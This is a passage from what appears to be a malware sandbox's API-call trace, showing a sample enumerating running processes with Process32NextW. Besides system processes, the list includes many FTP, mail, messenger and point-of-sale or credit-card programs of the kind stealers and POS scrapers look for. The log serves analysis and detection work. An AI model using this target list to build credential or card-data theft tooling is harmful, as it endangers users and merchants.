cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.346] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.347] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.348] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.349] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.349] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.350] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.351] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.351] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0070.352] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.353] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.353] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.354] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.355] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.355] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.356] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.357] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.357] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.358] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.359] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.359] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.360] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.361] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.362] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0070.362] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0070.363] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0070.364] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0070.364] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0070.365] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0070.366] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0070.366] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0070.367] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0070.368] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0070.369] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0070.369] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0070.370] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0070.371] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0070.371] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0070.502] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0070.502] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0070.503] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0070.503] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0070.504] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0070.504] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0070.505] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0070.505] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0070.506] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0070.507] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0070.507] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0070.508] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0070.508] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0070.509] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0070.509] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0070.510] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0070.510] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.511] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.512] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0070.512] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0070.513] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0070.514] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0070.515] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0070.515] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0070.516] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0070.517] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0070.518] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0070.519] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0070.520] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0070.520] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0070.521] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0070.522] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0070.523] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0070.524] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0070.524] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0070.525] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0070.526] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0070.527] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0070.527] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0070.528] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0070.529] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0070.530] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0070.530] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0070.531] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0070.532] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0070.533] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 